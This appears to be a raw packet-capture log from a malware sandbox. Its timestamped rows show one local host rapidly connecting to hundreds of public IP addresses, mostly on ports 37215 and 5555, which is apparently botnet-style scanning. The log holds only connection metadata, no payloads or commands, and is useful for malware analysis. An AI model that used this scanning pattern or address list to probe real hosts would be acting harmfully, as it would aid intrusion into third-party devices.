Feb 12, 2023 21:24:41.738267899 CET	52981	37215	192.168.2.23	41.127.225.237
Feb 12, 2023 21:24:41.738276958 CET	52981	37215	192.168.2.23	157.240.15.181
Feb 12, 2023 21:24:41.738312960 CET	52981	37215	192.168.2.23	197.175.3.84
Feb 12, 2023 21:24:41.738323927 CET	52981	37215	192.168.2.23	197.165.21.221
Feb 12, 2023 21:24:41.738362074 CET	52981	37215	192.168.2.23	157.232.35.172
Feb 12, 2023 21:24:41.738379955 CET	52981	37215	192.168.2.23	139.15.50.74
Feb 12, 2023 21:24:41.738385916 CET	52981	37215	192.168.2.23	9.135.95.45
Feb 12, 2023 21:24:41.738395929 CET	52981	37215	192.168.2.23	157.188.31.75
Feb 12, 2023 21:24:41.738399982 CET	52981	37215	192.168.2.23	157.49.52.120
Feb 12, 2023 21:24:41.738399982 CET	52981	37215	192.168.2.23	173.93.109.124
Feb 12, 2023 21:24:41.738400936 CET	52981	37215	192.168.2.23	41.230.144.35
Feb 12, 2023 21:24:41.738431931 CET	52981	37215	192.168.2.23	78.203.228.220
Feb 12, 2023 21:24:41.738432884 CET	52981	37215	192.168.2.23	41.122.86.149
Feb 12, 2023 21:24:41.738455057 CET	52981	37215	192.168.2.23	41.237.230.91
Feb 12, 2023 21:24:41.738476992 CET	52981	37215	192.168.2.23	41.233.80.92
Feb 12, 2023 21:24:41.738496065 CET	52981	37215	192.168.2.23	157.255.125.36
Feb 12, 2023 21:24:41.738509893 CET	52981	37215	192.168.2.23	157.112.123.168
Feb 12, 2023 21:24:41.738564968 CET	52981	37215	192.168.2.23	41.105.81.32
Feb 12, 2023 21:24:41.738568068 CET	52981	37215	192.168.2.23	157.87.29.75
Feb 12, 2023 21:24:41.738569021 CET	52981	37215	192.168.2.23	193.143.201.59
Feb 12, 2023 21:24:41.738568068 CET	52981	37215	192.168.2.23	213.53.126.249
Feb 12, 2023 21:24:41.738571882 CET	52981	37215	192.168.2.23	197.73.42.176
Feb 12, 2023 21:24:41.738591909 CET	52981	37215	192.168.2.23	197.210.142.127
Feb 12, 2023 21:24:41.738599062 CET	52981	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:41.738599062 CET	52981	37215	192.168.2.23	157.242.84.215
Feb 12, 2023 21:24:41.738599062 CET	52981	37215	192.168.2.23	210.153.51.33
Feb 12, 2023 21:24:41.738605022 CET	52981	37215	192.168.2.23	41.226.206.111
Feb 12, 2023 21:24:41.738609076 CET	52981	37215	192.168.2.23	8.172.12.129
Feb 12, 2023 21:24:41.738614082 CET	52981	37215	192.168.2.23	8.142.25.124
Feb 12, 2023 21:24:41.738614082 CET	52981	37215	192.168.2.23	43.167.211.219
Feb 12, 2023 21:24:41.738614082 CET	52981	37215	192.168.2.23	13.190.135.65
Feb 12, 2023 21:24:41.738614082 CET	52981	37215	192.168.2.23	37.75.7.41
Feb 12, 2023 21:24:41.738614082 CET	52981	37215	192.168.2.23	197.126.108.149
Feb 12, 2023 21:24:41.738630056 CET	52981	37215	192.168.2.23	41.82.220.36
Feb 12, 2023 21:24:41.738724947 CET	52981	37215	192.168.2.23	152.50.61.47
Feb 12, 2023 21:24:41.738733053 CET	52981	37215	192.168.2.23	197.105.56.116
Feb 12, 2023 21:24:41.738769054 CET	52981	37215	192.168.2.23	197.64.154.65
Feb 12, 2023 21:24:41.738792896 CET	52981	37215	192.168.2.23	41.157.158.132
Feb 12, 2023 21:24:41.738837004 CET	52981	37215	192.168.2.23	41.155.117.67
Feb 12, 2023 21:24:41.738837004 CET	52981	37215	192.168.2.23	41.20.3.115
Feb 12, 2023 21:24:41.738858938 CET	52981	37215	192.168.2.23	157.142.98.103
Feb 12, 2023 21:24:41.738859892 CET	52981	37215	192.168.2.23	41.102.43.202
Feb 12, 2023 21:24:41.738861084 CET	52981	37215	192.168.2.23	41.49.68.80
Feb 12, 2023 21:24:41.738886118 CET	52981	37215	192.168.2.23	157.25.222.145
Feb 12, 2023 21:24:41.738895893 CET	52981	37215	192.168.2.23	197.75.71.152
Feb 12, 2023 21:24:41.738950014 CET	52981	37215	192.168.2.23	79.18.57.121
Feb 12, 2023 21:24:41.738950014 CET	52981	37215	192.168.2.23	41.108.13.200
Feb 12, 2023 21:24:41.738950968 CET	52981	37215	192.168.2.23	62.1.31.76
Feb 12, 2023 21:24:41.738954067 CET	52981	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:41.738954067 CET	52981	37215	192.168.2.23	197.3.243.74
Feb 12, 2023 21:24:41.738960028 CET	52981	37215	192.168.2.23	41.70.65.155
Feb 12, 2023 21:24:41.738960981 CET	52981	37215	192.168.2.23	157.141.56.32
Feb 12, 2023 21:24:41.738960981 CET	52981	37215	192.168.2.23	41.230.253.182
Feb 12, 2023 21:24:41.738977909 CET	52981	37215	192.168.2.23	41.81.48.160
Feb 12, 2023 21:24:41.738981009 CET	52981	37215	192.168.2.23	41.235.139.235
Feb 12, 2023 21:24:41.738985062 CET	52981	37215	192.168.2.23	41.0.31.101
Feb 12, 2023 21:24:41.739000082 CET	52981	37215	192.168.2.23	157.216.60.68
Feb 12, 2023 21:24:41.739001989 CET	52981	37215	192.168.2.23	157.254.191.145
Feb 12, 2023 21:24:41.739018917 CET	52981	37215	192.168.2.23	41.27.157.175
Feb 12, 2023 21:24:41.739025116 CET	52981	37215	192.168.2.23	41.145.91.252
Feb 12, 2023 21:24:41.739037037 CET	52981	37215	192.168.2.23	197.189.18.87
Feb 12, 2023 21:24:41.739067078 CET	52981	37215	192.168.2.23	41.181.14.131
Feb 12, 2023 21:24:41.739070892 CET	52981	37215	192.168.2.23	41.245.20.152
Feb 12, 2023 21:24:41.739089012 CET	52981	37215	192.168.2.23	207.89.130.45
Feb 12, 2023 21:24:41.739104033 CET	52981	37215	192.168.2.23	197.252.15.152
Feb 12, 2023 21:24:41.739115953 CET	52981	37215	192.168.2.23	145.246.64.98
Feb 12, 2023 21:24:41.739132881 CET	52981	37215	192.168.2.23	194.231.20.61
Feb 12, 2023 21:24:41.739139080 CET	52981	37215	192.168.2.23	82.1.39.104
Feb 12, 2023 21:24:41.739151001 CET	52981	37215	192.168.2.23	81.84.236.24
Feb 12, 2023 21:24:41.739177942 CET	52981	37215	192.168.2.23	197.11.184.45
Feb 12, 2023 21:24:41.739187956 CET	52981	37215	192.168.2.23	157.174.253.112
Feb 12, 2023 21:24:41.739207029 CET	52981	37215	192.168.2.23	41.19.90.225
Feb 12, 2023 21:24:41.739231110 CET	52981	37215	192.168.2.23	157.62.81.3
Feb 12, 2023 21:24:41.739231110 CET	52981	37215	192.168.2.23	197.36.188.138
Feb 12, 2023 21:24:41.739252090 CET	52981	37215	192.168.2.23	157.60.253.157
Feb 12, 2023 21:24:41.739272118 CET	52981	37215	192.168.2.23	157.250.59.151
Feb 12, 2023 21:24:41.739299059 CET	52981	37215	192.168.2.23	41.146.248.183
Feb 12, 2023 21:24:41.739317894 CET	52981	37215	192.168.2.23	197.219.200.221
Feb 12, 2023 21:24:41.739336014 CET	52981	37215	192.168.2.23	71.178.128.172
Feb 12, 2023 21:24:41.739363909 CET	52981	37215	192.168.2.23	41.180.199.128
Feb 12, 2023 21:24:41.739366055 CET	52981	37215	192.168.2.23	197.72.114.178
Feb 12, 2023 21:24:41.739393950 CET	52981	37215	192.168.2.23	157.149.4.93
Feb 12, 2023 21:24:41.739415884 CET	52981	37215	192.168.2.23	174.210.162.57
Feb 12, 2023 21:24:41.739427090 CET	52981	37215	192.168.2.23	41.205.67.65
Feb 12, 2023 21:24:41.739455938 CET	52981	37215	192.168.2.23	197.166.239.236
Feb 12, 2023 21:24:41.739487886 CET	52981	37215	192.168.2.23	197.113.157.101
Feb 12, 2023 21:24:41.739504099 CET	52981	37215	192.168.2.23	41.24.255.79
Feb 12, 2023 21:24:41.739511013 CET	52981	37215	192.168.2.23	197.235.233.89
Feb 12, 2023 21:24:41.739515066 CET	52981	37215	192.168.2.23	41.51.201.217
Feb 12, 2023 21:24:41.739526033 CET	52981	37215	192.168.2.23	208.20.76.71
Feb 12, 2023 21:24:41.739531040 CET	52981	37215	192.168.2.23	41.226.237.113
Feb 12, 2023 21:24:41.739537001 CET	52981	37215	192.168.2.23	157.159.87.244
Feb 12, 2023 21:24:41.739567041 CET	52981	37215	192.168.2.23	41.125.71.99
Feb 12, 2023 21:24:41.739597082 CET	52981	37215	192.168.2.23	197.60.118.103
Feb 12, 2023 21:24:41.739598036 CET	52981	37215	192.168.2.23	157.96.251.34
Feb 12, 2023 21:24:41.739603996 CET	52981	37215	192.168.2.23	158.80.140.195
Feb 12, 2023 21:24:41.739604950 CET	52981	37215	192.168.2.23	197.125.152.138
Feb 12, 2023 21:24:41.739610910 CET	52981	37215	192.168.2.23	46.151.217.187
Feb 12, 2023 21:24:41.739613056 CET	52981	37215	192.168.2.23	52.10.34.58
Feb 12, 2023 21:24:41.739614010 CET	52981	37215	192.168.2.23	41.102.255.162
Feb 12, 2023 21:24:41.739666939 CET	52981	37215	192.168.2.23	41.216.227.223
Feb 12, 2023 21:24:41.739667892 CET	52981	37215	192.168.2.23	197.176.169.52
Feb 12, 2023 21:24:41.739674091 CET	52981	37215	192.168.2.23	37.224.159.62
Feb 12, 2023 21:24:41.739686012 CET	52981	37215	192.168.2.23	157.105.11.217
Feb 12, 2023 21:24:41.739686012 CET	52981	37215	192.168.2.23	157.197.215.110
Feb 12, 2023 21:24:41.739695072 CET	52981	37215	192.168.2.23	41.244.144.237
Feb 12, 2023 21:24:41.739717007 CET	52981	37215	192.168.2.23	169.79.86.125
Feb 12, 2023 21:24:41.739742994 CET	52981	37215	192.168.2.23	197.205.134.30
Feb 12, 2023 21:24:41.739749908 CET	52981	37215	192.168.2.23	157.229.71.159
Feb 12, 2023 21:24:41.739749908 CET	52981	37215	192.168.2.23	157.118.80.132
Feb 12, 2023 21:24:41.739773989 CET	52981	37215	192.168.2.23	41.21.184.167
Feb 12, 2023 21:24:41.739789963 CET	52981	37215	192.168.2.23	157.104.19.196
Feb 12, 2023 21:24:41.739835024 CET	52981	37215	192.168.2.23	169.102.105.166
Feb 12, 2023 21:24:41.739837885 CET	52981	37215	192.168.2.23	197.221.30.38
Feb 12, 2023 21:24:41.739854097 CET	52981	37215	192.168.2.23	41.144.232.134
Feb 12, 2023 21:24:41.739871979 CET	52981	37215	192.168.2.23	41.44.61.229
Feb 12, 2023 21:24:41.739905119 CET	52981	37215	192.168.2.23	197.50.170.52
Feb 12, 2023 21:24:41.739907026 CET	52981	37215	192.168.2.23	71.228.73.113
Feb 12, 2023 21:24:41.739932060 CET	52981	37215	192.168.2.23	157.194.76.201
Feb 12, 2023 21:24:41.739944935 CET	52981	37215	192.168.2.23	34.27.211.157
Feb 12, 2023 21:24:41.739970922 CET	52981	37215	192.168.2.23	5.54.61.21
Feb 12, 2023 21:24:41.740048885 CET	52981	37215	192.168.2.23	41.121.25.230
Feb 12, 2023 21:24:41.740115881 CET	52981	37215	192.168.2.23	157.219.54.5
Feb 12, 2023 21:24:41.740130901 CET	52981	37215	192.168.2.23	41.161.37.187
Feb 12, 2023 21:24:41.740133047 CET	52981	37215	192.168.2.23	41.94.245.17
Feb 12, 2023 21:24:41.740133047 CET	52981	37215	192.168.2.23	197.191.239.66
Feb 12, 2023 21:24:41.740133047 CET	52981	37215	192.168.2.23	197.160.109.168
Feb 12, 2023 21:24:41.740153074 CET	52981	37215	192.168.2.23	41.154.91.34
Feb 12, 2023 21:24:41.740179062 CET	52981	37215	192.168.2.23	197.188.251.171
Feb 12, 2023 21:24:41.740200996 CET	52981	37215	192.168.2.23	197.42.77.173
Feb 12, 2023 21:24:41.740209103 CET	52981	37215	192.168.2.23	157.170.183.213
Feb 12, 2023 21:24:41.740220070 CET	52981	37215	192.168.2.23	197.40.231.186
Feb 12, 2023 21:24:41.740232944 CET	52981	37215	192.168.2.23	210.216.2.131
Feb 12, 2023 21:24:41.740252972 CET	52981	37215	192.168.2.23	197.172.37.221
Feb 12, 2023 21:24:41.740279913 CET	52981	37215	192.168.2.23	197.101.252.84
Feb 12, 2023 21:24:41.740295887 CET	52981	37215	192.168.2.23	41.56.157.246
Feb 12, 2023 21:24:41.740324974 CET	52981	37215	192.168.2.23	40.84.89.253
Feb 12, 2023 21:24:41.740349054 CET	52981	37215	192.168.2.23	197.5.204.241
Feb 12, 2023 21:24:41.740356922 CET	52981	37215	192.168.2.23	131.1.0.179
Feb 12, 2023 21:24:41.740381956 CET	52981	37215	192.168.2.23	157.53.247.142
Feb 12, 2023 21:24:41.740411997 CET	52981	37215	192.168.2.23	41.114.236.248
Feb 12, 2023 21:24:41.740427017 CET	52981	37215	192.168.2.23	41.251.65.62
Feb 12, 2023 21:24:41.740427971 CET	52981	37215	192.168.2.23	46.249.194.37
Feb 12, 2023 21:24:41.740437984 CET	52981	37215	192.168.2.23	157.186.226.78
Feb 12, 2023 21:24:41.740478039 CET	52981	37215	192.168.2.23	157.32.82.188
Feb 12, 2023 21:24:41.740478039 CET	52981	37215	192.168.2.23	41.29.161.126
Feb 12, 2023 21:24:41.740493059 CET	52981	37215	192.168.2.23	157.142.246.55
Feb 12, 2023 21:24:41.740499973 CET	52981	37215	192.168.2.23	197.180.199.249
Feb 12, 2023 21:24:41.740515947 CET	52981	37215	192.168.2.23	157.195.67.10
Feb 12, 2023 21:24:41.740556955 CET	52981	37215	192.168.2.23	41.49.58.241
Feb 12, 2023 21:24:41.740556955 CET	52981	37215	192.168.2.23	197.155.219.84
Feb 12, 2023 21:24:41.740591049 CET	52981	37215	192.168.2.23	197.24.121.85
Feb 12, 2023 21:24:41.740596056 CET	52981	37215	192.168.2.23	24.150.20.101
Feb 12, 2023 21:24:41.740608931 CET	52981	37215	192.168.2.23	197.198.244.22
Feb 12, 2023 21:24:41.740633965 CET	52981	37215	192.168.2.23	157.54.138.115
Feb 12, 2023 21:24:41.740663052 CET	52981	37215	192.168.2.23	20.91.189.9
Feb 12, 2023 21:24:41.740684986 CET	52981	37215	192.168.2.23	20.123.71.177
Feb 12, 2023 21:24:41.740720034 CET	52981	37215	192.168.2.23	197.244.68.191
Feb 12, 2023 21:24:41.740720034 CET	52981	37215	192.168.2.23	41.192.59.153
Feb 12, 2023 21:24:41.740763903 CET	52981	37215	192.168.2.23	175.22.53.2
Feb 12, 2023 21:24:41.740771055 CET	52981	37215	192.168.2.23	157.231.4.160
Feb 12, 2023 21:24:41.740838051 CET	52981	37215	192.168.2.23	180.139.249.45
Feb 12, 2023 21:24:41.740843058 CET	52981	37215	192.168.2.23	201.101.167.167
Feb 12, 2023 21:24:41.740843058 CET	52981	37215	192.168.2.23	157.105.52.27
Feb 12, 2023 21:24:41.740850925 CET	52981	37215	192.168.2.23	41.31.248.3
Feb 12, 2023 21:24:41.740852118 CET	52981	37215	192.168.2.23	197.112.4.64
Feb 12, 2023 21:24:41.740852118 CET	52981	37215	192.168.2.23	67.255.226.211
Feb 12, 2023 21:24:41.740852118 CET	52981	37215	192.168.2.23	34.21.196.229
Feb 12, 2023 21:24:41.740856886 CET	52981	37215	192.168.2.23	197.238.113.20
Feb 12, 2023 21:24:41.740856886 CET	52981	37215	192.168.2.23	41.20.15.145
Feb 12, 2023 21:24:41.740859032 CET	52981	37215	192.168.2.23	41.26.22.8
Feb 12, 2023 21:24:41.740856886 CET	52981	37215	192.168.2.23	140.3.201.150
Feb 12, 2023 21:24:41.740901947 CET	52981	37215	192.168.2.23	197.140.109.45
Feb 12, 2023 21:24:41.740916967 CET	52981	37215	192.168.2.23	197.203.201.147
Feb 12, 2023 21:24:41.740919113 CET	52981	37215	192.168.2.23	76.254.221.48
Feb 12, 2023 21:24:41.740928888 CET	52981	37215	192.168.2.23	157.75.117.198
Feb 12, 2023 21:24:41.740935087 CET	52981	37215	192.168.2.23	197.89.200.97
Feb 12, 2023 21:24:41.740955114 CET	52981	37215	192.168.2.23	166.230.148.85
Feb 12, 2023 21:24:41.740971088 CET	52981	37215	192.168.2.23	157.247.229.18
Feb 12, 2023 21:24:41.740998030 CET	52981	37215	192.168.2.23	38.201.115.96
Feb 12, 2023 21:24:41.741008043 CET	52981	37215	192.168.2.23	197.252.162.47
Feb 12, 2023 21:24:41.741041899 CET	52981	37215	192.168.2.23	158.37.149.190
Feb 12, 2023 21:24:41.741045952 CET	52981	37215	192.168.2.23	41.146.40.1
Feb 12, 2023 21:24:41.741077900 CET	52981	37215	192.168.2.23	157.251.129.227
Feb 12, 2023 21:24:41.741081953 CET	52981	37215	192.168.2.23	78.66.113.143
Feb 12, 2023 21:24:41.741113901 CET	52981	37215	192.168.2.23	122.129.137.222
Feb 12, 2023 21:24:41.741115093 CET	52981	37215	192.168.2.23	153.89.94.153
Feb 12, 2023 21:24:41.741117954 CET	52981	37215	192.168.2.23	197.0.24.225
Feb 12, 2023 21:24:41.741158009 CET	52981	37215	192.168.2.23	157.9.83.123
Feb 12, 2023 21:24:41.741183996 CET	52981	37215	192.168.2.23	157.49.87.28
Feb 12, 2023 21:24:41.741189003 CET	52981	37215	192.168.2.23	124.196.45.163
Feb 12, 2023 21:24:41.741204023 CET	52981	37215	192.168.2.23	157.161.241.0
Feb 12, 2023 21:24:41.741205931 CET	52981	37215	192.168.2.23	157.211.65.223
Feb 12, 2023 21:24:41.741215944 CET	52981	37215	192.168.2.23	197.22.88.10
Feb 12, 2023 21:24:41.741239071 CET	52981	37215	192.168.2.23	157.109.116.127
Feb 12, 2023 21:24:41.741266966 CET	52981	37215	192.168.2.23	99.56.34.40
Feb 12, 2023 21:24:41.741278887 CET	52981	37215	192.168.2.23	197.200.227.144
Feb 12, 2023 21:24:41.741302967 CET	52981	37215	192.168.2.23	41.37.207.38
Feb 12, 2023 21:24:41.741302967 CET	52981	37215	192.168.2.23	157.118.73.104
Feb 12, 2023 21:24:41.741332054 CET	52981	37215	192.168.2.23	157.15.172.244
Feb 12, 2023 21:24:41.741345882 CET	52981	37215	192.168.2.23	41.122.96.16
Feb 12, 2023 21:24:41.741353035 CET	52981	37215	192.168.2.23	157.196.185.9
Feb 12, 2023 21:24:41.741374969 CET	52981	37215	192.168.2.23	62.100.158.106
Feb 12, 2023 21:24:41.741379976 CET	52981	37215	192.168.2.23	157.250.9.233
Feb 12, 2023 21:24:41.741400957 CET	52981	37215	192.168.2.23	82.116.141.127
Feb 12, 2023 21:24:41.741420984 CET	52981	37215	192.168.2.23	157.246.45.211
Feb 12, 2023 21:24:41.741432905 CET	52981	37215	192.168.2.23	45.139.249.239
Feb 12, 2023 21:24:41.741441011 CET	52981	37215	192.168.2.23	157.166.7.188
Feb 12, 2023 21:24:41.741467953 CET	52981	37215	192.168.2.23	41.111.195.132
Feb 12, 2023 21:24:41.741477013 CET	52981	37215	192.168.2.23	189.196.137.161
Feb 12, 2023 21:24:41.741496086 CET	52981	37215	192.168.2.23	43.74.236.100
Feb 12, 2023 21:24:41.741513014 CET	52981	37215	192.168.2.23	157.181.133.226
Feb 12, 2023 21:24:41.741518021 CET	52981	37215	192.168.2.23	197.63.203.99
Feb 12, 2023 21:24:41.741561890 CET	52981	37215	192.168.2.23	157.181.47.135
Feb 12, 2023 21:24:41.741588116 CET	52981	37215	192.168.2.23	157.114.48.45
Feb 12, 2023 21:24:41.741595984 CET	52981	37215	192.168.2.23	197.15.236.42
Feb 12, 2023 21:24:41.741600990 CET	52981	37215	192.168.2.23	41.236.210.198
Feb 12, 2023 21:24:41.741600990 CET	52981	37215	192.168.2.23	60.27.1.161
Feb 12, 2023 21:24:41.741611958 CET	52981	37215	192.168.2.23	157.209.105.137
Feb 12, 2023 21:24:41.741628885 CET	52981	37215	192.168.2.23	82.223.49.184
Feb 12, 2023 21:24:41.741651058 CET	52981	37215	192.168.2.23	166.46.70.127
Feb 12, 2023 21:24:41.741673946 CET	52981	37215	192.168.2.23	41.48.99.142
Feb 12, 2023 21:24:41.741702080 CET	52981	37215	192.168.2.23	41.40.97.132
Feb 12, 2023 21:24:41.741707087 CET	52981	37215	192.168.2.23	78.38.11.170
Feb 12, 2023 21:24:41.741772890 CET	42096	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:41.742234945 CET	5555	22272	104.225.128.223	192.168.2.23
Feb 12, 2023 21:24:41.744050980 CET	54944	80	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:41.794342995 CET	37215	52981	157.231.4.160	192.168.2.23
Feb 12, 2023 21:24:41.802930117 CET	37215	42096	41.62.85.225	192.168.2.23
Feb 12, 2023 21:24:41.803122044 CET	42096	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:41.803168058 CET	42096	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:41.803189039 CET	42096	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:41.814364910 CET	37215	52981	197.193.183.147	192.168.2.23
Feb 12, 2023 21:24:41.814559937 CET	52981	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:41.814790964 CET	37215	52981	197.197.49.49	192.168.2.23
Feb 12, 2023 21:24:41.814867973 CET	52981	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:41.832967043 CET	60596	81	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:41.840080976 CET	42206	5555	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:41.860682964 CET	37215	42096	41.62.85.225	192.168.2.23
Feb 12, 2023 21:24:41.890857935 CET	37215	52981	182.79.59.151	192.168.2.23
Feb 12, 2023 21:24:41.894630909 CET	37215	42096	41.62.85.225	192.168.2.23
Feb 12, 2023 21:24:41.894807100 CET	42096	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:41.899239063 CET	37215	42096	41.62.85.225	192.168.2.23
Feb 12, 2023 21:24:41.899368048 CET	42096	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:41.936144114 CET	51378	37215	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:41.936168909 CET	48158	37215	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:41.936192036 CET	35150	37215	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:41.936193943 CET	50656	37215	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:42.032105923 CET	44204	49152	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:42.040492058 CET	37215	52981	157.245.201.126	192.168.2.23
Feb 12, 2023 21:24:42.135807037 CET	60180	80	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:42.352150917 CET	60984	8080	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:42.437840939 CET	35692	49152	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:42.544050932 CET	60174	80	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:42.611828089 CET	22272	5555	192.168.2.23	139.94.65.192
Feb 12, 2023 21:24:42.611828089 CET	22272	5555	192.168.2.23	161.4.146.31
Feb 12, 2023 21:24:42.611828089 CET	22272	5555	192.168.2.23	185.34.231.69
Feb 12, 2023 21:24:42.611828089 CET	22272	5555	192.168.2.23	53.13.93.36
Feb 12, 2023 21:24:42.611902952 CET	22272	5555	192.168.2.23	99.196.200.78
Feb 12, 2023 21:24:42.611902952 CET	22272	5555	192.168.2.23	46.204.88.216
Feb 12, 2023 21:24:42.611917019 CET	22272	5555	192.168.2.23	69.115.2.48
Feb 12, 2023 21:24:42.611917019 CET	22272	5555	192.168.2.23	145.128.208.3
Feb 12, 2023 21:24:42.611917019 CET	22272	5555	192.168.2.23	58.131.7.60
Feb 12, 2023 21:24:42.611917019 CET	22272	5555	192.168.2.23	90.100.75.234
Feb 12, 2023 21:24:42.611922026 CET	22272	5555	192.168.2.23	19.19.80.44
Feb 12, 2023 21:24:42.611922026 CET	22272	5555	192.168.2.23	58.167.209.35
Feb 12, 2023 21:24:42.611922026 CET	22272	5555	192.168.2.23	167.42.230.114
Feb 12, 2023 21:24:42.611922026 CET	22272	5555	192.168.2.23	94.159.70.17
Feb 12, 2023 21:24:42.611922026 CET	22272	5555	192.168.2.23	122.245.101.218
Feb 12, 2023 21:24:42.611922026 CET	22272	5555	192.168.2.23	79.155.208.241
Feb 12, 2023 21:24:42.611922979 CET	22272	5555	192.168.2.23	181.204.65.48
Feb 12, 2023 21:24:42.611922979 CET	22272	5555	192.168.2.23	131.193.19.122
Feb 12, 2023 21:24:42.611928940 CET	22272	5555	192.168.2.23	14.193.23.222
Feb 12, 2023 21:24:42.611922979 CET	22272	5555	192.168.2.23	64.101.40.50
Feb 12, 2023 21:24:42.611922979 CET	22272	5555	192.168.2.23	187.51.24.63
Feb 12, 2023 21:24:42.611922979 CET	22272	5555	192.168.2.23	161.31.113.153
Feb 12, 2023 21:24:42.611946106 CET	22272	5555	192.168.2.23	208.140.8.101
Feb 12, 2023 21:24:42.611947060 CET	22272	5555	192.168.2.23	211.3.89.170
Feb 12, 2023 21:24:42.611947060 CET	22272	5555	192.168.2.23	119.140.104.121
Feb 12, 2023 21:24:42.611947060 CET	22272	5555	192.168.2.23	73.115.114.196
Feb 12, 2023 21:24:42.611967087 CET	22272	5555	192.168.2.23	68.165.79.250
Feb 12, 2023 21:24:42.611967087 CET	22272	5555	192.168.2.23	97.206.22.190
Feb 12, 2023 21:24:42.611967087 CET	22272	5555	192.168.2.23	77.9.30.48
Feb 12, 2023 21:24:42.611968994 CET	22272	5555	192.168.2.23	102.127.147.236
Feb 12, 2023 21:24:42.611967087 CET	22272	5555	192.168.2.23	131.255.137.190
Feb 12, 2023 21:24:42.611975908 CET	22272	5555	192.168.2.23	45.158.253.223
Feb 12, 2023 21:24:42.611975908 CET	22272	5555	192.168.2.23	120.233.70.79
Feb 12, 2023 21:24:42.611995935 CET	22272	5555	192.168.2.23	40.249.0.107
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	107.11.29.215
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	178.70.100.192
Feb 12, 2023 21:24:42.611995935 CET	22272	5555	192.168.2.23	119.37.82.241
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	50.75.125.106
Feb 12, 2023 21:24:42.611999035 CET	22272	5555	192.168.2.23	35.211.89.222
Feb 12, 2023 21:24:42.611995935 CET	22272	5555	192.168.2.23	129.208.137.131
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	107.151.118.207
Feb 12, 2023 21:24:42.611999035 CET	22272	5555	192.168.2.23	175.248.39.15
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	81.56.185.186
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	66.87.150.18
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	80.162.112.71
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	219.119.143.112
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	74.52.106.105
Feb 12, 2023 21:24:42.611996889 CET	22272	5555	192.168.2.23	25.79.161.116
Feb 12, 2023 21:24:42.612009048 CET	22272	5555	192.168.2.23	123.141.246.73
Feb 12, 2023 21:24:42.612011909 CET	22272	5555	192.168.2.23	2.241.5.167
Feb 12, 2023 21:24:42.612030983 CET	22272	5555	192.168.2.23	104.36.238.163
Feb 12, 2023 21:24:42.612030983 CET	22272	5555	192.168.2.23	195.79.72.134
Feb 12, 2023 21:24:42.612030983 CET	22272	5555	192.168.2.23	71.154.18.64
Feb 12, 2023 21:24:42.612045050 CET	22272	5555	192.168.2.23	165.207.121.127
Feb 12, 2023 21:24:42.612065077 CET	22272	5555	192.168.2.23	78.160.117.228
Feb 12, 2023 21:24:42.612065077 CET	22272	5555	192.168.2.23	135.94.105.241
Feb 12, 2023 21:24:42.612065077 CET	22272	5555	192.168.2.23	145.33.162.71
Feb 12, 2023 21:24:42.612065077 CET	22272	5555	192.168.2.23	201.206.12.234
Feb 12, 2023 21:24:42.612073898 CET	22272	5555	192.168.2.23	35.50.83.127
Feb 12, 2023 21:24:42.612076044 CET	22272	5555	192.168.2.23	217.95.152.49
Feb 12, 2023 21:24:42.612076044 CET	22272	5555	192.168.2.23	171.139.118.160
Feb 12, 2023 21:24:42.612097025 CET	22272	5555	192.168.2.23	39.207.93.210
Feb 12, 2023 21:24:42.612102032 CET	22272	5555	192.168.2.23	83.121.89.20
Feb 12, 2023 21:24:42.612102032 CET	22272	5555	192.168.2.23	131.33.50.46
Feb 12, 2023 21:24:42.612102985 CET	22272	5555	192.168.2.23	45.228.107.247
Feb 12, 2023 21:24:42.612119913 CET	22272	5555	192.168.2.23	65.181.80.64
Feb 12, 2023 21:24:42.612121105 CET	22272	5555	192.168.2.23	164.158.150.205
Feb 12, 2023 21:24:42.612121105 CET	22272	5555	192.168.2.23	36.62.108.113
Feb 12, 2023 21:24:42.612168074 CET	22272	5555	192.168.2.23	12.118.235.240
Feb 12, 2023 21:24:42.612169027 CET	22272	5555	192.168.2.23	148.93.0.95
Feb 12, 2023 21:24:42.612190962 CET	22272	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:42.612191916 CET	22272	5555	192.168.2.23	66.187.108.4
Feb 12, 2023 21:24:42.612191916 CET	22272	5555	192.168.2.23	123.38.96.207
Feb 12, 2023 21:24:42.612191916 CET	22272	5555	192.168.2.23	103.236.52.174
Feb 12, 2023 21:24:42.612191916 CET	22272	5555	192.168.2.23	114.28.8.35
Feb 12, 2023 21:24:42.612191916 CET	22272	5555	192.168.2.23	216.87.237.243
Feb 12, 2023 21:24:42.612195969 CET	22272	5555	192.168.2.23	24.127.237.19
Feb 12, 2023 21:24:42.612191916 CET	22272	5555	192.168.2.23	205.49.202.238
Feb 12, 2023 21:24:42.612201929 CET	22272	5555	192.168.2.23	106.51.95.101
